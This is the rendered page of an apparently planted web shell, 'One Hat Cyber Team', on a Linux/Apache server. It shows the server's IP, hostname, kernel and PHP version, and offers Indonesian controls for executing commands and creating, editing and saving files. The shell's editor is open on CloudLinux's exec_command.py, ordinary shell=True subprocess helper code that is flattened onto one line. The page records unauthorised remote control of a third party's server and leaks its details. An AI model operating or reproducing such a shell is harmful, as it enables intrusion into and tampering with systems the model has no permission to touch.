One Hat Cyber Team
Your IP :
216.73.217.15
Server IP :
157.15.65.100
Server :
Linux 157-15-65-100.cprapid.com 5.14.0-362.24.2.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Mar 30 14:11:54 EDT 2024 x86_64
Server Software :
Apache
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
l.v.e-manager
/
Edit File:
exec_command.py
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import print_function from __future__ import division from __future__ import absolute_import import subprocess def first_quot(line, isquotf): if line[0] == "\"" and isquotf == 0: return 1 return 0 def last_quot(line, isquotf): if line[len(line)-1]=='\"' and isquotf == 1: return 1 return 0 def parse_command(command): command = command.split(" ") isquot=0 res = "" result = [] for i in range(len(command)): if command[i] != "": if first_quot(command[i], isquot) == 1: isquot = 1 res = command[i] continue if last_quot(command[i], isquot) == 1: isquot = 0 res +=" "+command[i] result.append(res) continue result.append(command[i]) print(result) def exec_command(command, env=None): result = [] try: p = subprocess.Popen(command, shell=True, executable='/bin/bash', stdout=subprocess.PIPE, env=env, text=True) while 1: output = p.stdout.readline() if not output: break if output.strip() != "": result.append(output.strip()) except Exception as inst: print("Call process error:", str(inst)) return result def exec_command_check(command): try: p = subprocess.Popen(command, shell=True, executable='/bin/bash', stdout=subprocess.PIPE, stderr=subprocess.PIPE) (res_in_json, err) = p.communicate() if (p.returncode != 0): return False return True except Exception as inst: print("Call process error(" + command + "): " + str(inst)) return False def exec_command_find_substring(command, substring): result = exec_command(command) for i in result: if substring in i: return i return -1 def exec_command_null_input(command, merge_stderr = False): try: if merge_stderr: p = subprocess.Popen(command, shell=True, executable='/bin/bash', stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=open('/dev/null')) else: p = subprocess.Popen(command, shell=True, executable='/bin/bash', stdout=subprocess.PIPE, stdin=open('/dev/null')) (out, err) = p.communicate() except OSError: print('Error: failed to run ', command) return [] return out
Simpan